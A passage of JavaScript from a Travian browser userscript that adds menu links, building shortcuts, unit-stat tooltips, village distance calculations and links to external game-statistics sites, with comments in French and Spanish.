\"</i>\", \"http://www.traviantoolbox.com/distances_et_temps\", \"_blank\"], 0, ];\n\t\t}\n\n\t\tfor (var i = 0; i < links.length; i++)\n\t\t{\n\t\t\tif (links[i])\n\t\t\t{\n\t\t\t\tvar a = $elem(\"A\", links[i][0], {\n\t\t\t\t\t'href': links[i][1]\n\t\t\t\t});\n\t\t\t\tif (links[i][2])\n\t\t\t\t\ta.setAttribute('target', links[i][2]);\n\n\t\t\t\tmenu.appendChild(a);\n\t\t\t}\n\t\t\telse\n\t\t\t\tmenu.appendChild($elem('HR'));\n\t\t}\n\t}\n\n\t/** Il crée de nouveaux liens dans la barre de menu de gauche. Il sont internes pour tableaus dorf3 */\n\tfunction menulink()\n\t{\tbookmarksinfo4 = readCookie(\"bookmarksinfo4\" + server);\n\t\tif (bookmarksinfo4)\n\t\t{\tvar menu = find(\"//div[contains(@id, 'ltop')]\", XPFirst);\n\t\t\tvar links = [0, [T('TT') + ' -', \"dorf3.php\"], [T('DEP') + ' -', \"dorf3.php?s=2\"], [T('PC') + ' -', \"dorf3.php?s=1\"], [T('TROP') + ' -', \"dorf3.php?s=5\"], [T('FT'), \"dorf3.php?s=7\"]];\n\t\t\tvar div = $elem(\"div\", \"\", {}, {\n\t\t\t\t\"cssFloat\": textDirection == 'ltr' ? \"right\" : \"left\"\n\t\t\t}, menu);\n\t\t\tvar table = $elem(\"table\", \"\", {}, {}, div);\n\t\t\tfor (var i = 0; i < links.length; i++)\n\t\t\t{\n\t\t\t\tif(links[i])\n\t\t\t\t{\n\t\t\t\t\tvar td = $elem(\"td\", \"\", {}, {}, tr);\n\t\t\t\t\tvar a = $elem(\"a\", links[i][0], {\n\t\t\t\t\t\t\"href\": links[i][1]\n\t\t\t\t\t}, {}, td);\n\t\t\t\t\tif (links[i][2])\n\t\t\t\t\t\ta.setAttribute(\"target\", links[i][2]);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tvar tr = $elem(\"tr\", \"\", {}, {}, table);\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Créer un dialogue pour confirmation de l'annulation des liens des constructions */\n\tfunction confirmDelete()\n\t{\n\n\t\tvar links = find(\"//img[contains(@src, 'del.gif')]\", XPList);\n\t\tfor (var i = 0; i < links.snapshotLength; i++)\n\t\t{\n\t\t\tlinks.snapshotItem(i).setAttribute('onClick', 'javascript:return confirm(\"' + T('SEGURO') + '\");');\n\t\t}\n\t}\n\n\t/** Créer des liens vers de nouveaux bâtiments dans la barre supérieur */\n\tfunction buildingLinks()\n\t{\n\t\ticone = readCookie(\"icone\" + server);\n\t\tif (icone == true || icone == null)\n\t\t{\n\t\t\t// Localiza la barra de enlaces superiores\n\t\t\t//\tvar barra = find(\"//div[@id='ltop5']\", XPFirst);\n\t\t\tvar barra = find(\"//div[starts-with(@id, 'ltop')]\", XPListO).snapshotItem(1);\n\t\t\t//var barra = get('ltop5'); // causes problem on german severs where varies this id. :-(\n\n\t\t\t//\tbarra.style.left = '161px';\n\t\t\tbarra.style.left = '126px';\n\t\t\tbarra.style.width = '570px';\n\t\t\t//barra.style.height = '120px';\n\t\t\tbarra.style.display = 'none';\n\n\t\t\tvar a = find(\"//a[contains(@href, 'plus.php')]\", XPFirst);\n\t\t\ta.style.marginLeft = '0px';\n\t\t\ta.style.position = 'absolute';\n\t\t\tif (textDirection == 'ltr')\n\t\t\t\ta.style.left = '500px';\n\t\t\telse\n\t\t\t\ta.style.right = '500px';\n\t\t\ta.style.width = '0px';\n\n\t\t\timgx = readCookie(\"imgx\");\n\t\t\tif (imgx == false || imgx == null)\n\t\t\t{\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#mercado\" class=\"fl2\" src=\"' + img('/l/oto1.gif') + '\" border=\"0\" title=\"' + T('MERCADO') + '\">';\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#militar\" class=\"fl2\" src=\"' + img('/l/oto2.gif') + '\" border=\"0\" title=\"' + T('CUARTEL') + '\">';\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#admin\" class=\"fl2\" src=\"' + img('/l/oto3.gif') + '\">';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#mercado\" class=\"fl2\" src=\"' + imagenes[\"mercado\"] + '\" border=\"0\" title=\"' + T('MERCADO') + '\">';\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#militar\" class=\"fl2\" src=\"' + imagenes[\"militar\"] + '\" border=\"0\" title=\"' + T('CUARTEL') + '\">';\n\t\t\t\tbarra.innerHTML += '<img usemap=\"#admin\" class=\"fl2\" src=\"' + imagenes[\"admin\"] + '\">';\n\t\t\t}\n\t\t\t// Mapa para el mercado\n\t\t\tbarra.innerHTML += '<map name=\"mercado\"><area shape=\"rect\" coords=\"0,0,70,50\" href=\"build.php?gid=17\" title=\"' + T('ENVIAR') + '\"><area shape=\"rect\" coords=\"0,50,35,100\" href=\"build.php?gid=17&t=1\" title=\"' + T('COMPRAR') + '\"><area shape=\"rect\" coords=\"35,50,70,100\" href=\"build.php?gid=17&t=2\" title=\"' + T('VENDER') + '\"></map>';\n\t\t\t// Mapa para los edificios militares\n\t\t\tbarra.innerHTML += '<map name=\"militar\"><area shape=\"rect\" coords=\"0,0,35,50\" href=\"build.php?gid=16\" title=\"' + T('PUNTO') + '\"><area shape=\"rect\" coords=\"35,0,70,50\" href=\"build.php?gid=19\" title=\"' + T('CUARTEL') + '\"><area shape=\"rect\" coords=\"0,50,35,100\" href=\"build.php?gid=20\" title=\"' + T('CORRAL') + '\"><area shape=\"rect\" coords=\"35,50,70,100\" href=\"build.php?gid=21\" title=\"' + T('TALLER') + '\"></map>';\n\t\t\t// bat administratif\n\t\t\tbarra.innerHTML += '<map name=\"admin\"><area shape=\"rect\" coords=\"0,0,35,50\" href=\"build.php?gid=15\" title=\"' + T('DEMO') + '\"><area shape=\"rect\" coords=\"35,0,70,50\" href=\"build.php?gid=24\" title=\"' + T('HOT') + '\"><area shape=\"rect\" coords=\"0,50,35,100\" href=\"build.php?gid=12\" title=\"' + T('ARM') + '\"><area shape=\"rect\" coords=\"35,50,70,100\" href=\"build.php?gid=13\" title=\"' + T('USI') + '\"></map>';\n\n\t\t\tbarra.style.display = '';\n\t\t}\n\t}\n\n\t/** Crée un lien pour télécharger les statistiques du monde Travian, réception de la recherche comme un paramètre\n\t *\n\t * Params:\n\t *\tparam\tParametro de busqueda para la estadistica\n\t */\n\tfunction createStatLink(param)\n\t{\n\t\tvar statlink = $elem('a', \"<img src='\" + imagenes[\"stat\"] + \"' style='margin:0px 1px 0px 1px; display: inline' title='\" + T('STAT') + \"' alt='Stat' border=0>\", {\"href\": \"javascript:void(0)\"});\n\t\tvar ref = 'http://www.denibol.com/proyectos/travian_world/stat2.php?server=' + server + '&' + param;\n\t\tstatlink.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\ttimeout = setTimeout(function()\n\t\t\t{\n\t\t\t\tvar a = get(\"tb_tooltip\");\n\t\t\t\ta.innerHTML = \"<img src='\" + ref + \"' border='0'/>\";\n\t\t\t\ta.style.display = 'block';\n\t\t\t}, 1000);\n\t\t}, 0);\n\t\tstatlink.addEventListener(\"mouseout\", function()\n\t\t{\n\t\t\tclearTimeout(timeout);\n\t\t\tget(\"tb_tooltip\").style.display = 'none';\n\t\t}, 0);\n\t\tstatlink.addEventListener(\"click\", function()\n\t\t{\n\t\t\tvar popup = window.open(ref, 'popup', 'width=350, height=250');\n\t\t\tpopup.focus();\n\t\t\treturn false;\n\t\t}, 0);\n\t\treturn statlink;\n\t}\n\n\tfunction getUnitAttack(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitAttackIndex];\n\t}\n\n\tfunction getUnitInfDefense(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitInfDefenseIndex];\n\t}\n\n\tfunction getUnitCavDefense(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitCavDefenseIndex];\n\t}\n\n\tfunction getUnitSpeed(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitSpeedIndex];\n\t}\n\n\tfunction getUnitName(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitNameIndex];\n\t}\n\n\tfunction getUnitBuilding(unitNum)\n\t{\n\t\treturn unitData[unitNum][unitBuildingIndex];\n\t}\n\n\tfunction setUnitStatsTooltip(unitNum)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar tooltip = get('tb_tooltip');\n\t\t\ttooltip.style.display = 'block';\n\t\t\tvar table = $elem('table');\n\t\t\tvar row = $elem('tr', '', {}, {}, table);\n\t\t\tvar td = $elem('td', getUnitName(unitNum), {'colspan':'3'}, {}, row);\n\t\t\trow = $elem('tr', '', {}, {}, table);\n\t\t\ttd = $elem('td', '<img title=\"attack\" src=\"' + img(\"/a/att_all.gif\") + '\">' + getUnitAttack(unitNum), {}, {}, row);\n\t\t\ttd = $elem('td', '<img title=\"defense against infantry\" src=\"' + img(\"/a/def_i.gif\") + '\">' + getUnitInfDefense(unitNum), {}, {}, row);\n\t\t\ttd = $elem('td', '<img title=\"defense against cavalry\" src=\"' + img(\"/a/def_c.gif\") + '\">' + getUnitCavDefense(unitNum), {}, {}, row);\n\t\t\trow = $elem('tr', '', {}, {}, table);\n\t\t\ttd = $elem('td', T('VITS') + ' ' + getUnitSpeed(unitNum), {'colspan':'3'}, {}, row);\n\t\t\trow = $elem('tr', '', {}, {}, table);\n\t\t\ttd = $elem('td', T('CAPA') + ' ' + uc[unitNum][4], {'colspan':'3'}, {}, row);\n\n\t\t\ttooltip.innerHTML = \"\";\n\t\t\ttooltip.appendChild(table);\n\t\t};\n\t}\n\n\t// surround unit images with an href to their manual page\n\tfunction unitStats()\n\t{\n\t\tvar images = $tags(\"img\");\n\t\tfor (var i = 0; i < images.length; i++)\n\t\t{\n\t\t\t// make sure it's an unit image, and get the number\n\t\t\tif (!images[i].src.match(/img\\/un\\/u\\/(\\d+)\\.gif/))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tvar unitNum = RegExp.$1;\n\n\t\t\tvar finalObject = images[i];\n\n\n\t\t\t// don't overwrite any existing links\n\t\t\tif (images[i].parentNode.nodeName.toLowerCase() != \"a\")\n\t\t\t{\n\t\t\t\t// change the image to a link to the unit's manual page\n\n\t\t\t\tvar link = $elem('a', '', {\n\t\t\t\t\t'href': 'javascript:void(0)',\n\t\t\t\t\t'onClick': 'Popup(' + unitNum + ',1); return false;'\n\t\t\t\t});\n\t\t\t\tvar image = images[i].cloneNode(true);\n\t\t\t\timages[i].parentNode.replaceChild(link, images[i]);\n\t\t\t\tlink.appendChild(image);\n\t\t\t\timage.setAttribute('border', 0);\n\t\t\t\timage.removeAttribute('title');\n\t\t\t\tfinalObject = link;\n\t\t\t}\n\n\t\t\t// set up tool tip to show stats on mouseover\n\t\t\tfinalObject.addEventListener(\"mouseover\", setUnitStatsTooltip(unitNum), 0);\n\t\t\tfinalObject.addEventListener(\"mouseout\", function()\n\t\t\t{\n\t\t\t\tget(\"tb_tooltip\").style.display = 'none';\n\t\t\t}, 0);\n\t\t}\n\t}\n\n\t/** Crea un enlace para mandar un IGM cuando aparece un enlace al perfil de un jugador, un enlace de ataque rapido cuando aparece un enlace a una ubicacion del mapa, y otro enlace de estadisticas si esta soportado para el idioma del servidor activo */\n\tfunction playerLinks()\n\t{\n\t\tvar links = $tags(\"a\");\n\n\t\tvar title = document.title;\n\t\tvar stsu = title.substring(8);\n\n\t\tlocation.href.search(/(\\d|x|speed)[.]travian/i);\n\t\tsvr = RegExp.$1;\n\t\tsvr = (svr=='speed') ? 'x' : svr;\n\n\t\tvar ally = readCookie(\"ally1\" + server);\n\t\tif (ally == null)\n\t\t\tally = '';\n\t\telse\n\t\t\tally = unescape(ally);\n\n\t\t//get x|y of our current selected village for distance calculation\n\t\tif (find(\"//a[@class='active_vl']\", XPFirst) == null)\n\t\t{\n\t\t\tvar activeX = 0;\n\t\t\tvar activeY = 0\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfind(\"//a[@class='active_vl']\", XPFirst).parentNode.nextSibling.textContent.match(/\\(([-\\d]+)\\n\\|\\n([-\\d]+)\\)/);\n\t\t\tvar activeX = RegExp.$1;\n\t\t\tvar activeY = RegExp.$2;\n\t\t}\n\t\tfor (var i = 0; i < links.length; i++)\n\t\t{\n\t\t\t// Por cada enlace a una ficha de jugador\n\t\t\tif (links[i].href.search(/spieler.php\\?uid=(\\d+$)/) > 0)\n\t\t\t{\n\t\t\t\tvar a = RegExp.$1;\n\t\t\t\t//if (RegExp.$1 == 0) continue;\n\t\t\t\tif (links[i].parentNode.className == 'menu')\n\t\t\t\t\tcontinue;\n\t\t\t\tif (arrayValueExist(server))\n\t\t\t\t\tlinks[i].parentNode.insertBefore(createStatLink('uid=' + a), links[i].nextSibling);\n\t\t\t\t// Introduce el enlace para enviar mensajes usando su ID\n\t\t\t\tvar igmlink = $elem('a', \"<img src='\" + imagenes[\"igm\"] + \"' style='margin:3px 0px 1px 3px; display: inline' title='\" + T('ENVIAR_IGM') + \"' alt='' border=0>\", {\"href\": 'nachrichten.php?t=1&id=' + a});\n\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\n\t\t\t\tinf3 = readCookie(\"inf3\" + server);\n\t\t\t\tif (inf3 == true || inf3 == null)\n\t\t\t\t{\n\t\t\t\t\t// Introduce el enlace para info carte travmap.shishnet.org\n\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b4.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA8') + '\">',{\n\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\"href\": \"http://travmap.shishnet.org/map.php?lang=\" + ext + \"&server=\" + server + \"&player=id:\" + a + \",&alliance=\" + ally + \"&groupby=alliance&order=population&azoom=on&format=svg&\"\n\t\t\t\t\t});\n\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t}\n\t\t\t\tinf2 = readCookie(\"inf2\" + server);\n\t\t\t\tif (inf2 == true || inf2 == null)\n\t\t\t\t{\n\t\t\t\t\tif(ext != \"br\") // Brazilian servers are not on Travian Search\n\t\t\t\t\t{\n\t\t\t\t\t\t// Introduce el enlace para info travian-search\n\t\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b5.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA7') + '\">',{\n\t\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\t\"href\": \"http://www.travian-search.com/?lang=\" + ext + \"&path=guild&s=19&serv=s\" + svr + \"_travian_\" + ext + \"&idJoueur=\" + a\n\t\t\t\t\t\t});\n\t\t\t\t\t}\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t}\n\t\t\t\tinf1b = readCookie(\"inf1b\" + server);\n\t\t\t\tif (inf1b == true || inf1b == null)\n\t\t\t\t{\n\t\t\t\t\t// Introduce el enlace para info Travian World Analyzer (travian.ws)\n\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b1.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA6B') + '\">',{\n\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\"href\": \"http://www.travian.ws/analyser.pl?s=\" + stsu + \"&uid=\" + a\n\t\t\t\t\t});\n\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t}\n\t\t\t\t\tinf1 = readCookie(\"inf1\" + server);\n\t\t\t\tif (inf1 == true || inf1 == null)\n\t\t\t\t{\n\t\t\t\t\t// Introduce el enlace para info TSU\n\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b1.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA6') + '\">',{\n\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\"href\": \"http://www.travutils.com/?s=\" + stsu + \"&idu=\" + a\n\t\t\t\t\t});\n\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t}\n\n\t\t\t\t// Por cada enlace a una localizacion del mapa\n\t\t\t}\n\t\t\telse\n\t\t\t\tif (links[i].href.search(/karte.php\\?d=(\\d+)/) > 0)\n\t\t\t\t{\n\t\t\t\t\tvar linkval = RegExp.$1;\n\t\t\t\t\tif (arrayValueExist(server))\n\t\t\t\t\t\tlinks[i].parentNode.insertBefore(createStatLink('id=' + linkval), links[i].nextSibling);\n\t\t\t\t\t//TMR - do we want a link to the Analyzer by village? We're getting crowded.\n\t\t\t\t\t// add it here if we decide we do.\n\n\t\t\t\t\t// Agrega un enlace para lanzar un ataque usando su posicion\n\t\t\t\t\t//# TMR - insert link to Center Map\n\t\t\t\t\tvar xy = id2xy(linkval); //get x|y of this link\n\t\t\t\t\tvar coordanchor = \"#\" + xy.x + \"|\" + xy.y;\n\t\t\t\t\tlinks[i].setAttribute('href', links[i].getAttribute('href') + coordanchor);\n\n\t\t\t\t\tatklink = $elem('a', '(' + xy.x + '|' + xy.y + ')', {\n\t\t\t\t\t\t'href': 'karte.php?z=' + linkval + coordanchor\n\t\t\t\t\t}, {\n\t\t\t\t\t\t'fontSize': '9px'\n\t\t\t\t\t});\n\t\t\t\t\t// set up tool tip to show distances on mouseover\n\t\t\t\t\t//var mover = 'getVillageDist(\"' + xy.x + '\", \"' + xy.y + '\")';\n\t\t\t\t\tatklink.addEventListener(\"mouseover\", getVillageDist(xy.x, xy.y), 0);\n\t\t\t\t\tatklink.addEventListener(\"mouseout\", function()\n\t\t\t\t\t{\n\t\t\t\t\t\tclearTimeout(timeout);\n\t\t\t\t\t\tget(\"tb_tooltip\").style.display = 'none';\n\t\t\t\t\t}, 0);\n\t\t\t\t\tlinks[i].parentNode.insertBefore(atklink, links[i].nextSibling);\n\n\t\t\t\t\tn = find(\"//table[@class='f10']//*/a[preceding-sibling::span]\", XPList);\n\t\t\t\t\tvar img = 'att_all';\n\t\t\t\t\tfor (var j = 0; j < n.snapshotLength; j++)\n\t\t\t\t\t{\n\t\t\t\t\t\t//alert('\"'+n.snapshotItem(j).textContent+'\" \"'+links[i].textContent.replace(/^\\s|\\s$|^Reinforcement for /,\"\")+'\"');\n\t\t\t\t\t\tif (n.snapshotItem(j).textContent == links[i].textContent.replace(/^\\s|\\s$|^Reinforcement for /g, \"\") || links[i].textContent.match(/^Reinforcement for /))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\timg = 'def2';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// Agrega un enlace para lanzar un ataque usando su posicion\n\t\t\t\t\tvar atklink = $elem('a', \"<img src='\" + imagenes[img] + \"' style='margin:3px 0px 1px 3px; display: inline' height='10' width='10' title='\" + T('ATACAR'), {\"href\": 'a2b.php?z=' + linkval + \"#\" + xy.x + \"|\" + xy.y});\n\t\t\t\t\tlinks[i].parentNode.insertBefore(atklink, links[i].nextSibling);\n\t\t\t\t\tvar atklink = $elem('a', '<img src=\"img/un/r/4.gif\" width=\"18\" border=\"0\" title=\"' + T('ALDEA_EXTRA2') + '\">', {\"href\": 'build.php?z=' + linkval + '&gid=17'});\n\t\t\t\t\tlinks[i].parentNode.insertBefore(atklink, links[i].nextSibling);\n\t\t\t\t// Por cada enlace a la ficha de una alianza\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tif (links[i].textContent.match(/Center map$/) && links[i].href.search(/karte.php\\?z=(\\d+)/) > 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar linkval = RegExp.$1; //# TMR - insert coords/mouseover to Center Map link\n\t\t\t\t\t\tvar xy = id2xy(linkval); //get x|y of this link\n\t\t\t\t\t\tlinks[i].innerHTML += '&nbsp;<span style=\"font-size:10px\">(' + xy.x + '|' + xy.y + ')</span>';\n\t\t\t\t\t\t//var mover = 'getVillageDist(\"' + xy.x + '\", \"' + xy.y + '\")';\n\t\t\t\t\t\tlinks[i].addEventListener(\"mouseover\", getVillageDist(xy.x, xy.y), 0);\n\t\t\t\t\t\tlinks[i].addEventListener(\"mouseout\", function()\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tclearTimeout(timeout);\n\t\t\t\t\t\t\tget(\"tb_tooltip\").style.display = 'none';\n\t\t\t\t\t\t}, 0);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tif (links[i].href.search(/allianz.php\\?aid=(\\d+$)/) > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar a = RegExp.$1;\n\t\t\t\t\t\t\tif (a == 0)\n\t\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\t\tinf3 = readCookie(\"inf3\" + server);\n\t\t\t\t\t\t\tif (inf3 == true || inf3 == null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Introduce el enlace para info carte travmap.shishnet.org\n\t\t\t\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b4.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA8') + '\">',{\n\t\t\t\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\t\t\t\"href\": \"http://travmap.shishnet.org/map.php?lang=\" + ext + \"&server=\" + server + \"&alliance=id:\" + a + \"%2C\" + ally + \"&groupby=alliance&order=population&azoom=on&format=svg&\"\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tinf2 = readCookie(\"inf2\" + server);\n\t\t\t\t\t\t\tif (inf2 == true || inf2 == null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(ext != 'br') // Brazilian servers are not on Travian Search\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Introduce el enlace para info travian-search\n\t\t\t\t\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b5.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA7') + '\">',{\n\t\t\t\t\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\t\t\t\t\"href\": \"http://www.travian-search.com/?lang=\" + ext + \"&path=guild&s=15&serv=s\" + svr + \"_travian_\" + ext + \"&ally=\" + a\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tinf1b = readCookie(\"inf1b\" + server);\n\t\t\t\t\t\t\tif (inf1b == true || inf1b == null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Introduce el enlace para info Travian World Analyzer (travian.ws)\n\t\t\t\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b1.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA6B') + '\">',{\n\t\t\t\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\t\t\t\"href\": \"http://www.travian.ws/analyser.pl?s=\" + stsu + \"&aid=\" + a\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tinf1 = readCookie(\"inf1\" + server);\n\t\t\t\t\t\t\tif (inf1 == true || inf1 == null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Introduce el enlace para info TSU\n\t\t\t\t\t\t\t\tvar igmlink = $elem('a', '<img src=\"img/un/a/b1.gif\" width=\"9\" border=\"0\" title=\"' + T('ALDEA_EXTRA6') + '\">',{\n\t\t\t\t\t\t\t\t\t\"target\": \"_blank\",\n\t\t\t\t\t\t\t\t\t\"class\": \"done\",\n\t\t\t\t\t\t\t\t\t\"href\": \"http://www.travutils.com/?s=\" + stsu + \"&ida=\" + a\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\tlinks[i].parentNode.insertBefore(igmlink, links[i].nextSibling);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t}\n\t}\n\n\t//show distance from all villages in tooltip\n\tfunction getVillageDist(x, y)\n\t{\n\t\treturn function(e)\n\t\t{\n\t\t\tvar cities = find(\"//div[@id='lright1']//table[@class='f10']\", XPFirst);\n\t\t\tif (cities)\n\t\t\t\tif (/newdid=/.test(cities.innerHTML))\n\t\t\t\t{\n\t\t\t\t\tvar txt1 = new Array();\n\t\t\t\t\ttxt1.push('<tr><td colspan=\"3\" align=center><b>' + x + '|' + y + '</b></td></tr><tr><td style=\"border-bottom:1px solid #00C000;\"><b>' + T('ALDEA') + '</b></td><td align=right style=\"border-bottom:solid 1px #00C000;\"><b>' + T('DIST') + '</b></td><td align=right style=\"border-bottom:solid 1px #00C000;\"><b>' + T('VITS') + ' ' + nbunit + '</b></td></tr>');\n\t\t\t\t\tcities = cities.firstChild;\n\t\t\t\t\tfor (var j = 0; j < cities.childNodes.length; j++)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar city = cities.childNodes[j];\n\t\t\t\t\t\tvar cityname = city.childNodes[0].childNodes[2].textContent;\n\t\t\t\t\t\tcity.textContent.search(/\\((.*)\\n?\\|\\n?(.*)\\)/);\n\t\t\t\t\t\tvar x2 = parseInt(RegExp.$1, 10);\n\t\t\t\t\t\tvar y2 = parseInt(RegExp.$2, 10);\n\t\t\t\t\t\tvar xx = Math.abs(x - x2) + (-801 * (x > 400));\n\t\t\t\t\t\tvar yy = Math.abs(y - y2) + (-801 * (y > 400));\n\t\t\t\t\t\tvar dist = Math.sqrt(xx * xx + yy * yy).toFixed(2);\n\t\t\t\t\t\tif (nbunit >= 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (dist < 30)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar unitcalc = Math.round(dist * 3600 / nbunit);\n\t\t\t\t\t\t\t\tvar timeunit = formatear_tiempo(unitcalc);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {var timeunit ='>30'}\n\t\t\t\t\t\t/*\t{\n\t\t\t\t\t\t\t\tcrearEventoActualizarAldeaPT()\n\t\t\t\t\t\t\t\tvar unitcalc = Math.round(dist * 3600 / nbunit / pdt[lvlpdt]);\n\t\t\t\t\t\t\t\tvar timeunit = formatear_tiempo(unitcalc);\n\t\t\t\t\t\t\t}*/\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse{var timeunit =''}\n\t\t\t\t\t\ttxt1.push('<tr><td>' + cityname + '</td><td align=right>' + dist + '</td><td align=right>' + timeunit + '</td></tr>');\n\t\t\t\t\t}\n\n\t\t\t\t\ttimeout = setTimeout(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tvar div = get(\"tb_tooltip\");\n\t\t\t\t\t\tdiv.innerHTML = \"\";\n\t\t\t\t\t\tdiv.appendChild($elem('table', txt1.join('')));\n\t\t\t\t\t\tdiv.style.display = 'block';\n\t\t\t\t\t}, 100);\n\t\t\t\t}\n\t\t}\n\t}\n\n\t/** Créer un nouveau bouton dans les rapports et les messages pour marquer toutes les cases */\n\tfunction opcionesMensajes()\n\t{\n\t\tvar a = find(\"//*[@class='s7']\", XPList);\n\t\tfor (var i = 0; i < a.snapshotLength - 1; i++)\n\t\t{\n\t\t\tvar fila = a.snapshotItem(i);\n\t\t\tif ((fila.firstChild != null) && (fila.firstChild.nodeName == \"INPUT\"))\n\t\t\t{\n\t\t\t\tfila.innerHTML += '<input style=\"font-weight:bold; font-size:8pt; height:14pt\" name=\"mtodo\" type=\"button\" value=\"' + T('MARK') + '\" onClick=\"for(var x = 0; x < document.msg.elements.length; x++) document.msg.elements[x].checked = \\'checked\\';\"/>';\n\t\t\t\tif (!plus)\n\t\t\t\t\tfila.innerHTML += '<input style=\"font-weight:bold; font-size:8pt; height:14pt\" name=\"archive\" type=\"Submit\" value=\"' + T('ARCHIVE') + '\"/>';\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Créer des événements pour envoyer le formulaire pour envoyer marché des matières premières coordonnées de leurs propres villages. * Codigo sugerido por Bafox */\n\tfunction quickCity()\n\t{\n\t\t//alert('here');\n\t\t// Comprueba si esta el formulario de envio\n\t\tvar map = 0;\n\t\tif (find(\"//form[@name='snd']\", XPFirst) == null)\n\t\t{\n\t\t\tif ($names('xp')[0])\n\t\t\t{ //TMR added this for the map page\n\t\t\t\tmap = 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\n\t\tvar ciudades = new Array();\n\n\t\t// Recupera la coordenada X\n\t\t//var n = find(\"//table[@class='f8']//*/td[@align='right']\", XPList);\n\t\tvar n = find(\"//table[@class='dtbl']//td[@class='right dlist1']\", XPList);\n\t\tfor (var i = 0; i < n.snapshotLength; i++)\n\t\t{\n\t\t\tciudades[i] = new Object();\n\t\t\ttry\n\t\t\t{\n\t\t\t\tciudades[i].x = 